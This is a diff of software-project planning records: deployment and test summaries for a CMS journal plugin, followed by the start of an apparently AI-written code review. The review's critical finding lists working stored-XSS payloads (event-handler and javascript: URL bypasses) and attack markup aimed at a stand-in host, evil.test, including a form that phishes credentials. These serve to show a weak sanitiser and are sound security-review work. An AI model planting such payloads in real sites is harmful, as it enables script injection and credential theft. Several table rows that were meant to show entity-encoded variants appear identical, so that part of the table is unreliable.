- sha256 of the new binary, the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
|
||||
- The previous binary is kept as `bin/grzybyfunkcjonalne.prev` (sha256 `94116f4ab576c99a130167bbf0ad9accbece48630747e03b2f9727a6a18d68ea`).
|
||||
- No `.env` was uploaded.
|
||||
- **Restart:** `migrate` ok, `RESTART_TS=2026/10/09 19:36:54`, both programs RUNNING.
|
||||
- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
|
||||
- **Baseline before the re-saves:** the SQL check printed `2:0`.
|
||||
|
||||
## Task 3 record
|
||||
|
||||
- **First human reply, verbatim:** "all works".
|
||||
- The read-only follow-up checks still printed `2:0`. Posts 53 and 64 had `updated_at` 17:33:52 UTC, which was also the latest `updated_at` across all posts, and there were no journal-post translation rows. So no save had reached UAT yet.
|
||||
- The log check passed: 0 `SQLSTATE 42703` lines since the restart, out of 18 lines.
|
||||
- No rollback was recommended or performed. A checkpoint was returned.
|
||||
- **Second human reply, verbatim:** "resaved, no errors".
|
||||
- **Orchestrator re-check:** post 53 at 20:33:53.908 UTC and post 64 at 20:34:08.100 UTC. Neither holds the placeholder, post 64 has its footer, and the check printed `0:1`.
|
||||
- **This executor's re-check (20:35 UTC):**
|
||||
- SQL check: printed `0:1`, so `SQL-CHECK-PASS`.
|
||||
- Corrected log check: `LOG-CHECK-PASS`, with 19 lines since the restart and 0 `SQLSTATE 42703`.
|
||||
- **End-of-phase human checks** (step 3 of the plan: D-01 list state, D-03 form locales and fields, the post-64 footer on `/blog/ekstrakt-z-turkey-tail`): the human reported them under "all works". That reply came before the re-saves had reached UAT, so they are **recorded as human-reported, not independently confirmed**. They are pending for `/msd-verify-work` (coverage D5).
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `../sm-journal-plugin/go.mod`: nominal `require git.golem15.com/golem15/summercms v0.1.16`. The replace to `../summercms.go` stays.
|
||||
- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal`: gitlink now points to `a675f2f`.
|
||||
- `../sm-grzybyfunkcjonalne-app/README.md`: the warning against editing imported posts in the admin is removed.
|
||||
- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: the section that told admins not to re-save imported posts is removed.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Tag v0.1.16, docker-first.** The human reported the Docker-host suites passed, then approved the release.
|
||||
- **No `en` locale change on UAT.** The framework fix (default locale first) is enough for D-03, as planned under Claude's discretion in CONTEXT.
|
||||
- **Rollback was not used.** Every check passed. `bin/grzybyfunkcjonalne.prev` stays on the server.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 1 - Bug] The plan's Task 3 log check passed even when it could not read the log**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** The plan read the log with `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go`. On UAT, supervisor's XML-RPC fails with an ExpatError on the ANSI escape codes in GORM log lines, so no log lines come back. The error text does not contain `SQLSTATE 42703`, so `grep -c ... | grep -qx 0` passed without checking anything.
|
||||
- **Fix:** The check now reads the supervisor log file directly. It fails closed when the file is unreadable or does not contain this restart's `client_id`:
|
||||
`ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; test -r "$F" && grep -q "client_id=alexandria_2026_10_09T19_36_54" "$F" && awk -v since="2026/10/09 19:36:54" "substr(\$0,1,19) >= since" "$F" | grep -c "SQLSTATE 42703"' | grep -qx 0`
|
||||
- **Files modified:** none. Only the verification command changed.
|
||||
- **Verification:** The check passed, with 19 lines since the restart and 0 matches. The same file holds 6 `SQLSTATE 42703` lines from before the restart, which shows the check can see the failure it looks for.
|
||||
- **Committed in:** n/a (verification only)
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 1 auto-fixed (1 bug in a verify command)
|
||||
**Impact on plan:** The changed check is stricter than the plan's. There is no scope change.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- The human's first Task 3 reply ("all works") came before any save had reached UAT, since the SQL still printed `2:0`. The executor returned a second checkpoint instead of accepting the reply. After the second reply ("resaved, no errors") the check printed `0:1`.
|
||||
- The Docker-backed suites (modules/cabana Postgres tests, the sm-journal-plugin harness) cannot run on this machine. The human ran them on a Docker host before the release, as the docker-first option requires.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. The plan's `user_setup` covered only the human's UAT admin login, which is already done. No USER-SETUP.md was generated: there are no env vars or keys to configure.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 03 (unit tests) can start. Its tests land on master after v0.1.16 and ship with the next tag.
|
||||
- `/msd-verify-work 16.1` should confirm coverage D5 on UAT: D-01 list state, D-03 form locales and fields, and the post-64 footer on `/blog/ekstrakt-z-turkey-tail`.
|
||||
- Rollback is still available if needed: move `bin/grzybyfunkcjonalne.prev` back and restart `grzybyfunkcjonalne-go`.
|
||||
|
||||
---
|
||||
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
|
||||
*Completed: 2026-10-09*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- Tag v0.1.16 is on origin and contains 06d75cb.
|
||||
- sm-journal-plugin a675f2f equals origin/main.
|
||||
- Host cac2ee7 equals origin/master, and its gitlink is a675f2f.
|
||||
- `grep -ci omitted` returns 0 for both README.md and DEPLOY.md.
|
||||
- The sha256 is the same locally and on the server, and both programs are RUNNING.
|
||||
- The SQL check prints 0:1 and the log check passes.
|
||||
@@ -0,0 +1,256 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 03
|
||||
subsystem: testing
|
||||
tags: [vitest, localStorage, gorm, dryrun, postgres, testcontainers, goldmark, xss]
|
||||
|
||||
requires:
|
||||
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
provides: "16.1-01 fixes (relation subqueries, default locale first, raw HTML in FormatHTML, list state) and the 16.1-02 release v0.1.16"
|
||||
provides:
|
||||
- "vitest coverage of the list to form to list round trip (back, cancel, save-and-close, delete), listState.ts helpers, ListView entry logic and logout clearing"
|
||||
- "TestListRelationSQL: DryRun SQL matrix of the relation subquery builder for every relation type, the refusals and bound search values"
|
||||
- "TestEnabledLocalesDefaultFirst: every default-locale ordering case"
|
||||
- "Strict FormatHTML refuse cases and imported-HTML keep cases in sm-journal-plugin"
|
||||
- "Postgres tests TestListRelationSearchPostgres and TestPostsAdminResaveKeepsHTML, ready for a Docker host"
|
||||
- "16.1-VALIDATION.md filled: every automated row green, wave_0_complete and nyquist_compliant true"
|
||||
affects: [16.2 blog editor, next summercms tag, /msd-verify-work 16.1]
|
||||
|
||||
actuals:
|
||||
tokens: 13669 # chars/4 over the realized test diffs of both repos (summercms.go admin+modules, sm-journal-plugin)
|
||||
tasks: 3
|
||||
commits: 3 # summercms.go, measured from the ledger before the SUMMARY commit; sm-journal-plugin adds 1 (03907ee)
|
||||
plan_head_before: 3b8527b39739a34eaee540d1ec0458966146a91c
|
||||
plan_head_after: 837e40ae6aac05cf060b5c4fbd8872ca5d96e847
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "bindRecorder: a GORM logger implementing ParamsFilter records statements with placeholders and bound values, so a DryRun test proves a value is bound, not inlined"
|
||||
- "withoutSubqueries strips (SELECT ...) groups so a test can tell an outer JOIN from one inside an EXISTS"
|
||||
- "relModelController + relOneColumn: one generic controller and a one-relation columns.yaml per DryRun case, so the relation under test is always cabana_r0"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- admin/tests/state/listState.test.ts
|
||||
modified:
|
||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- modules/cabana/query_relation_test.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
- .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
|
||||
|
||||
key-decisions:
|
||||
- "FormatHTML refuse cases now require an error and an empty result for every unsafe input; the old 'or rendered harmless' escape hatch is gone because html.WithUnsafe leaves the gate as the only defence"
|
||||
- "nyquist_compliant is true because every automated row is green; the Docker-host suites and UAT checks stay as manual rows, and two unrun-verify entries were added to WINDOWS.md"
|
||||
|
||||
patterns-established:
|
||||
- "Bound-value proof for cabana SQL: openBindDryRunDB in query_relation_test.go"
|
||||
|
||||
requirements-completed: [D-01, D-02, D-03]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "A form's back, cancel, save-and-close and delete land on the list with the stored query in the URL, and every list request after the return carries it"
|
||||
requirement: D-01
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/form/FormView.test.ts#returning to the list keeps its query (D-01)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "listState helpers (prefix key, malformed values removed, empty query stores nothing, throwing storage), ListView entry logic (URL wins, cleared controls, same-list navigation, 422, page clamp) and logout clearing list keys but not the sidebar"
|
||||
requirement: D-01
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "admin/tests/state/listState.test.ts"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/list/ListView.test.ts#list state entry logic (D-01)"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "admin/tests/state/useAuth.test.ts#logout (T-10-23) removes every stored list query"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Relation subquery SQL: belongsToMany through the tagged pivot (custom joinForeignKey/joinReferences, self-reference), hasMany, hasOne, belongsTo, soft delete, 422 refusals, bound LIKE-escaped search values, no outer JOIN next to ListExtendQuery and scope predicates, string_agg and join sorts"
|
||||
requirement: D-02
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/query_relation_test.go#TestListRelationSQL"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "enabledContentLocales ordering: default moved first, already first, absent, empty, DefaultLocale or EnabledLocales error, no writer, three locales keep their order"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "modules/cabana/locale_order_test.go#TestEnabledLocalesDefaultFirst"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "FormatHTML keeps imported HTML unchanged and refuses every unsafe case with an error"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLKeepsRawHTML"
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/classes/format_html_test.go#TestFormatHTMLSanitizesUnsafeHTML"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Postgres-backed tests: relation search counts a post matching through two tags once, sorts by tag names, finds a hasMany note; an admin re-save of HTML content keeps content_html"
|
||||
requirement: D-02
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "modules/cabana/query_relation_test.go#TestListRelationSearchPostgres"
|
||||
status: unknown
|
||||
- kind: integration
|
||||
ref: "../sm-journal-plugin/posts_admin_smoke_test.go#TestPostsAdminResaveKeepsHTML"
|
||||
status: unknown
|
||||
human_judgment: true
|
||||
rationale: "Needs Docker (testcontainers); this machine has no Docker socket permission. Both tests vet clean and fail (not skip) here with 'failed to create Docker provider'. Run on a Docker host before /msd-verify-work."
|
||||
|
||||
duration: 12min
|
||||
completed: 2026-10-09
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.1 Plan 03: Unit tests Summary
|
||||
|
||||
**The Phase 16.1 fixes are now covered by tests that run without Docker:**
|
||||
- vitest pins the list to form to list round trip and the browser-storage list state.
|
||||
- A DryRun SQL matrix pins the relation subquery builder, including a bound-value check through GORM's ParamsFilter hook.
|
||||
- Table tests pin the default-locale order.
|
||||
- FormatHTML tests require an error for every unsafe input and an unchanged result for imported HTML.
|
||||
|
||||
Two Postgres tests are written for a Docker host.
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 12 min
|
||||
- **Started:** 2026-10-09T20:38:52Z
|
||||
- **Completed:** 2026-10-09T20:51:32Z
|
||||
- **Tasks:** 3 of 3
|
||||
- **Files modified:** 6 in summercms.go (4 admin test files, 2 cabana test files), 2 in sm-journal-plugin, plus VALIDATION.md and WINDOWS.md
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **D-01, form round trip (tracer).** A stored query (`sort=code`, `dir=desc`, `filter[active]=true`) is restored after back, cancel, save-and-close and delete. The router lands on the list with that query, and every list GET after the click carries it. A fifth case checks that nothing stored means an unfiltered list with no params.
|
||||
- Mutation check: with the restore in `ListView.vue` disabled, the four restore cases fail and the unfiltered case still passes.
|
||||
- **D-01, listState.ts (23 tests).**
|
||||
- Keys are the prefix plus the controller id, one key per list.
|
||||
- Invalid JSON, non-objects, arrays and non-string values read as empty and remove the key. The strict parser drops malformed values.
|
||||
- An empty query, empty filter values or only page 1 remove the key. A write then read round-trips every field.
|
||||
- `clearListStates` keeps `summer-admin.sidebar` and unrelated keys.
|
||||
- Storage whose `getItem`, `setItem`, `removeItem`, `key` or `localStorage` getter throws never throws out of the helpers.
|
||||
- **D-01, ListView entry.**
|
||||
- With a stored query, no list request goes out without the stored params.
|
||||
- Every list param in the URL wins and replaces the whole stored query.
|
||||
- Clearing search, sort and filter through the UI removes the key, and a remount loads the list unfiltered.
|
||||
- `router.push` to the bare path of the same filtered list keeps the filters and makes no unfiltered request.
|
||||
- A 422 removes the key.
|
||||
- A page past `last_page`, from the URL or from storage, is replaced by `last_page` (requests 5 then 2).
|
||||
- **D-01, logout.** For a successful call, a 500 and a network failure, logout removes every `summer-admin.list:` key and leaves only `summer-admin.sidebar`.
|
||||
- **D-02, TestListRelationSQL.** 14 SQL-shape cases, 5 refusals and 2 statement-level checks.
|
||||
- **Custom pivot keys.** The `cabana_rel_labelings` pivot with `labeled_post`/`label_ref` uses exactly those names, and the SQL has none of the default `rel_*_id` names.
|
||||
- **Self-reference.** `cabana_rel_people` is aliased `cabana_r0` and correlates to the unaliased main table.
|
||||
- **Soft delete.** The related model adds `"cabana_r0"."deleted_at" IS NULL`.
|
||||
- **Refusals.** Polymorphic search and sort, and an unknown select column, each answer 422 with only that parameter in `details`. No page is loaded.
|
||||
- **Search term.** `O'Neil 100%_X` never appears in the SQL text. Four placeholders are each bound to `%o'neil 100\%\_x%`.
|
||||
- **ListExtendQuery and scope filter.** `user_id = 7 AND (...) AND id IN (3)` has no JOIN outside the subqueries.
|
||||
- **Sort.** To-many sort orders by `string_agg` in both directions, followed by the id tiebreak. belongsTo and hasOne sort keep the `LEFT JOIN ... "Author"` / `"Profile"` association join.
|
||||
- **D-02, TestListRelationSearchPostgres.**
|
||||
- A post with two tags matching "fungi" gives total 1.
|
||||
- `sort=tags` gives [2 1] ascending and [1 2] descending.
|
||||
- `search=spore` finds the hasMany note, and `search=ada` finds the belongsTo author.
|
||||
- **D-03, TestEnabledLocalesDefaultFirst.** 12 subtests, including a check that the writer's slice is not reordered in place.
|
||||
- **D-03, FormatHTML.**
|
||||
- **Keep cases.** 7 imported-style bodies round-trip unchanged after trimming. Markdown keeps a trailing raw `<footer>` and `<style>` verbatim.
|
||||
- **Refuse cases.** All 19 refuse cases must return an error and an empty result. This adds svg `onload`, mixed-case `on*`, `javascript:` and `vbscript:` hrefs, `object`, `embed`, a script inside an HTML block, raw and markdown `data:` URLs, and upper-case `IFRAME`.
|
||||
- `check_html_test.go` is unchanged and green.
|
||||
- **D-03, TestPostsAdminResaveKeepsHTML.** An admin creates and then updates (PUT) a post whose content is two HTML paragraphs. After each write, `content_html` equals the content and has no placeholder.
|
||||
|
||||
## Task Commits
|
||||
|
||||
summercms.go (master, not pushed; ships with the next tag):
|
||||
|
||||
1. **Task 1: Tracer, list state round trip and storage coverage:** `a8bce9c` (test)
|
||||
2. **Task 2: Relation subquery and locale order coverage:** `837922c` (test)
|
||||
3. **Task 3 phase gate: VALIDATION.md results:** `837e40a` (docs)
|
||||
|
||||
sm-journal-plugin (main, not pushed):
|
||||
|
||||
3. **Task 3: FormatHTML keep and refuse coverage, admin re-save keeps HTML:** `03907ee` (test)
|
||||
|
||||
## Gate output
|
||||
|
||||
- Task 1: `npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke` gave 16 files and 299 tests passed. `npm --prefix admin run typecheck` was clean.
|
||||
- Task 2: `go vet ./modules/cabana` was clean. Four `--- PASS: Test` lines: `TestEnabledLocalesDefaultFirstSmoke`, `TestEnabledLocalesDefaultFirst`, `TestListRelationSearchSmoke`, `TestListRelationSQL`.
|
||||
- Task 3, journal: `go -C ../sm-journal-plugin vet ./...` was clean and `./classes/` printed ok. Two `--- PASS: Test` lines for the FormatHTML tests.
|
||||
- Phase gate: `go vet ./...`, `TestDocsTree`, the typecheck, `npm --prefix admin test` (76 files, 1144 tests), and `check-admin-dist.sh` ("modules/boardwalk/dist matches a fresh build") ended with **`phase-16.1-local-gate-ok`**.
|
||||
- Quick suite latency: 20 s.
|
||||
|
||||
## Docker-host result
|
||||
|
||||
**Pending.** `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML` fail here with `failed to create Docker provider`. They fail rather than skip, as designed. They are a manual row in VALIDATION.md and two `unrun-verify` entries in `.planning/WINDOWS.md`.
|
||||
|
||||
Human check before `/msd-verify-work`: on a Docker host, run `go test -count=1 ./...` in summercms.go and `go -C ../sm-journal-plugin test -count=1 ./...`. This includes `TestListQueryContract`, `TestListRelationSearchPostgres` and `TestPostsAdminResaveKeepsHTML`.
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `admin/tests/state/listState.test.ts` (new): the storage helper tests.
|
||||
- `admin/tests/form/FormView.test.ts`: "returning to the list keeps its query (D-01)" with the tracer.
|
||||
- `admin/tests/list/ListView.test.ts`: "list state entry logic (D-01)".
|
||||
- `admin/tests/state/useAuth.test.ts`: logout clears list keys and keeps the sidebar.
|
||||
- `modules/cabana/query_relation_test.go`:
|
||||
- Matrix fixtures: custom pivot, self-reference, soft delete, polymorphic, hasOne and the scoped model and controller.
|
||||
- `bindRecorder` and `openBindDryRunDB`, `withoutSubqueries`, `pageStatement`.
|
||||
- `newFilteredListService`; `newDryRunListService` now delegates to it.
|
||||
- `TestListRelationSQL` and `TestListRelationSearchPostgres`.
|
||||
- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirst` and its writer test doubles.
|
||||
- `../sm-journal-plugin/classes/format_html_test.go`: strict refuse cases and keep cases.
|
||||
- `../sm-journal-plugin/posts_admin_smoke_test.go`: `TestPostsAdminResaveKeepsHTML`.
|
||||
- `16.1-VALIDATION.md`: every status filled, Wave 0 checked, recorded runs.
|
||||
- `.planning/WINDOWS.md`: two unrun-verify entries for the Docker-host tests.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Strict refuse cases.** The FormatHTML refuse cases now require an error and an empty result. The old check also passed when the unsafe markup was rendered harmless. That is no longer a valid outcome, because with `html.WithUnsafe()` the gate is the only defence.
|
||||
- **`nyquist_compliant: true`.** Every automated row is green. Docker-host suites and UAT checks remain manual rows. The frontmatter `status` stays `draft`, because only validate-phase sets it to `validated`.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
None. The plan executed as written. Small additions within scope:
|
||||
- hasOne search and sort cases.
|
||||
- An `EnabledLocales` error case, an empty-default case and a no-in-place-mutation case.
|
||||
- `newFilteredListService`, needed for the scope-filter case.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- The `windows append` CLI refuses paths outside the repository. The sm-journal-plugin entry was therefore recorded against `16.1-VALIDATION.md`, and its description names the test file.
|
||||
- The auto-mode classifier twice gave no verdict on the Task 2 commit. The retry succeeded and nothing changed in between.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. No external service configuration is required.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Phase 16.1 has every plan summarized. Next steps:
|
||||
- Run the Docker-host suites, which are pending.
|
||||
- Run `/msd-verify-work 16.1` for the UAT rows (D-01 list state, D-03 form locales, the post-64 footer).
|
||||
- Commits `a8bce9c`, `837922c` (summercms.go) and `03907ee` (sm-journal-plugin) are unpushed and ship with the next release.
|
||||
- Phase 16.2 can reuse `openBindDryRunDB`, `newFilteredListService` and the generic `relModelController` for any new list SQL.
|
||||
|
||||
---
|
||||
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
|
||||
*Completed: 2026-10-09*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
Created and modified test files exist; commits a8bce9c, 837922c, 837e40a (summercms.go) and 03907ee (sm-journal-plugin) are present.
|
||||
@@ -0,0 +1,168 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
reviewed: 2026-10-09T21:20:45Z
|
||||
depth: standard
|
||||
files_reviewed: 22
|
||||
files_reviewed_list:
|
||||
- admin/src/state/listState.ts
|
||||
- admin/src/state/useAuth.ts
|
||||
- admin/src/state/useSidebar.ts
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/smoke/list.smoke.test.ts
|
||||
- admin/tests/state/listState.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- docs/backend/forms.md
|
||||
- docs/backend/lists-and-filters.md
|
||||
- modules/cabana/README.md
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/query_relation_test.go
|
||||
- scripts/check-phase10.sh
|
||||
- ../sm-journal-plugin/README.md
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
findings:
|
||||
critical: 1
|
||||
warning: 5
|
||||
info: 3
|
||||
total: 9
|
||||
status: issues_found
|
||||
---
|
||||
|
||||
# Phase 16.1: Code Review Report
|
||||
|
||||
**Reviewed:** 2026-10-09T21:20:45Z
|
||||
**Depth:** standard
|
||||
**Files Reviewed:** 22
|
||||
**Status:** issues_found
|
||||
|
||||
## Narrative Findings (AI reviewer)
|
||||
|
||||
## Summary
|
||||
|
||||
I reviewed the phase diffs: summercms.go `1ef21b0^..HEAD` and sm-journal-plugin `3d533d4..HEAD`. I checked the relation subquery SQL in `modules/cabana/query.go` against GORM's relationship model. Table, pivot and column names come only from the parsed schema, every identifier goes through `quotedIdent`/`qualifiedColumn`, and the search term is a bound parameter. I found no SQL injection path. The EXISTS correlation is correct for belongsTo, hasOne, hasMany and belongsToMany, including self-referencing relations. The `enabledContentLocales` reorder is correct, and so is the list-state key and validation logic.
|
||||
|
||||
The blocking problem is in the journal plugin. Turning on `html.WithUnsafe()` makes the three-regex `rejectUnsafe` blocklist the only defence against stored XSS. That blocklist can be bypassed with ordinary HTML-parser behaviour, and I confirmed this by running the same goldmark config and regexes. The public Nuxt layer (`vue-journal-layer/app/utils/htmlGate.ts`) uses the same three regexes word for word, so it adds no defence in depth. Before this phase, goldmark replaced these payloads with `<!-- raw HTML omitted -->`. They now reach `content_html` and the public `v-html` sinks.
|
||||
|
||||
## Critical Issues
|
||||
|
||||
### CR-01: The rejectUnsafe gate can be bypassed now that raw HTML passes, so stored XSS reaches content_html (T-16.1-02 not met)
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/format_html.go:22,25-27,54-66`
|
||||
**Issue:** With `goldmark.WithRendererOptions(html.WithUnsafe())`, goldmark copies raw HTML blocks verbatim. Inside a type-6 HTML block, which is any block starting with `<div>` or `<p>`, the content does not even have to be valid CommonMark tag syntax. With unsafe mode on, goldmark also stops applying its own `IsDangerousURL` filter. The remaining gate is a substring blocklist, and these payloads get past it. I verified each one against goldmark v1.8.6 with the exact engine options and regexes; every one returns `err == nil`:
|
||||
|
||||
| Source passed to `FormatHTML` | Output (unchanged) | Why the gate misses it |
|
||||
|---|---|---|
|
||||
| `<p><img src="x"onerror="alert(1)"></p>` | same | `\son[a-z]+\s*=` needs whitespace before `on`; browsers accept a quoted value followed directly by the next attribute. Runs on page load. |
|
||||
| `<div>\n<svg/onload=alert(1)>\n</div>` | same | `/` is a valid attribute separator in HTML. Runs on page load. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | The browser decodes the entity before parsing the URL. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | Named entity. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | Entity inside the scheme. |
|
||||
| `<a href="java\tscript:alert(1)">x</a>` | same | The URL parser strips tab and newline. |
|
||||
| `<div>\n<math><maction actiontype=statusline xlink:href="javascript:alert(1)">x</maction></math>\n</div>` | same | Same issue in the MathML/SVG namespace. |
|
||||
|
||||
Non-script tags that are just as dangerous also pass: `<base href="https://evil.test/">` rewrites every relative URL on the page, `<meta http-equiv="refresh" content="0;url=https://evil.test">` is an open redirect, and `<form action="https://evil.test"><input type=password ...>` is a credential phish. The plan accepted only "inert tags such as style, footer or form" as residual risk, not executable script.
|
||||
|
||||
**Impact:** All three write paths call `FormatHTML`: admin save at `controllers/posts.go:213`, `journal:import-posts` at `console/import_posts.go:185`, and the Journal API writes at `controllers/api/posts_helpers.go:511,567,768`. The result is served as `content_html` and rendered with `v-html` behind `gateJournalHtml`, which uses the same regexes. So any admin with the posts permission, or any imported file, can plant script that runs for every public visitor. If the admin SPA and the public site share an origin, it also runs for any signed-in superuser who opens the post. The admin cookie is HttpOnly but is still sent on same-origin API calls, so this is an escalation from author to full admin. `CheckHTML` for category `content` (`controllers/categories.go:75`) shares the same weak gate. That part predates this phase, but it is the same root cause.
|
||||
|
||||
The README sentence added in this phase ("its gate still refuses ... event handlers and javascript, vbscript and data URLs on every write path") and the T-16.1-02 mitigation claim are both untrue as written.
|
||||
|
||||
**Fix:** Replace the regex blocklist with a parser-based allowlist. Following the project's preference for established libraries, add `github.com/microcosm-cc/bluemonday` with a decision note and sanitize the rendered output rather than refusing it:
|
||||
```go
|
||||
var postPolicy = func() *bluemonday.Policy {
|
||||
p := bluemonday.UGCPolicy() // drops script/iframe/object/embed/base/meta/form, on*, js/vbscript URLs
|
||||
p.AllowAttrs("class").Globally() // keep imported class attributes (D-03 round-trip)
|
||||
p.AllowElements("footer", "figure", "figcaption")
|
||||
return p
|
||||
}()
|
||||
|
||||
func FormatHTML(src string) (string, error) {
|
||||
var buf bytes.Buffer
|
||||
if err := markdownEngine.Convert([]byte(strings.TrimSpace(src)), &buf); err != nil {
|
||||
return "", fmt.Errorf("journal: markdown: %w", err)
|
||||
}
|
||||
return postPolicy.Sanitize(buf.String()), nil
|
||||
}
|
||||
```
|
||||
If a new dependency is not acceptable, use the parser already in the build: `golang.org/x/net/html`, at v0.58.0 in go.sum. Tokenize the output and refuse it when a start tag is not in an allowlist, when an attribute name starts with `on`, or when an `href`/`src`/`xlink:href`/`action`/`formaction` value, after entity decoding (the tokenizer does that) and after removing ASCII whitespace and control characters, starts with a scheme other than `http`, `https`, `mailto` or a relative path. Also port the fix to `vue-journal-layer/app/utils/htmlGate.ts`, for example DOMPurify on the client and server render, so the public layer actually provides defence in depth. Add every payload from the table above to `TestFormatHTMLRejectsUnsafeHTML`.
|
||||
|
||||
## Warnings
|
||||
|
||||
### WR-01: `data:` blocklist regex refuses ordinary Polish text "Data:" (and "metadata:"), so imports and saves fail
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/format_html.go:27`
|
||||
**Issue:** `(?i)(?:javascript|vbscript|data):` has no word boundary and no attribute context, so it matches body text. In Polish, "Data:" is the usual label for a date ("Data: 12 maja 2024", "Data publikacji:"). I confirmed that `FormatHTML("<p>Data: 12 maja 2024</p>")` is refused, and so is any English text containing "metadata:" or "big data:". The admin save returns 422 on `content` (`controllers/posts.go:213-217`), and `journal:import-posts` rejects the post. This works against D-03's goal that imported HTML bodies survive a save. The regex existed before this phase, but the phase now routes all raw imported HTML through it.
|
||||
**Fix:** Check URL schemes only inside URL-bearing attribute values. The parser-based gate from CR-01 does this. As a stop-gap, anchor the regex to an attribute value, for example `(?i)(?:href|src|action|formaction|xlink:href)\s*=\s*["']?\s*(?:javascript|vbscript|data):`. Treat that only as a stop-gap, since CR-01 shows the regex approach is not sufficient on its own.
|
||||
|
||||
### WR-02: A stored list query that fails deterministically (non-422) locks the list until logout; on 422 the view shows only an error
|
||||
|
||||
**File:** `admin/src/views/ListView.vue:141-150,165-184,420-424`
|
||||
**Issue:**
|
||||
1. Only a 422 clears the stored state. If a stored sort or filter makes the server fail deterministically with a 500, for example a relation sort whose `db.Joins(field)` collides with a join already added by `ListExtendQuery`, or a `relationSubquery` parse error, the list shows the `load_failed` alert. While `failed` is true, `DataTable`, including the sortable column headers, is not rendered (line 420 `v-if` / line 423 `v-else`), so the admin cannot clear the sort. Opening the bare list URL or the sidebar link restores the same stored query (line 171-176). The list stays broken until logout or until local storage is cleared by hand.
|
||||
2. On a 422, storage is cleared, but the URL still holds the stale parameters and the user sees only the error alert. A restore that the user never asked for turns into a failed screen, and the user has to leave and come back to recover.
|
||||
**Fix:** If the first load after a restore fails for any reason, drop the stored query and load the unfiltered list, rather than only clearing storage on a 422:
|
||||
```ts
|
||||
let restored = false
|
||||
// in the watch, when restoring:
|
||||
restored = true
|
||||
void router.replace({ path: route.path, query: toListQuery(stored) })
|
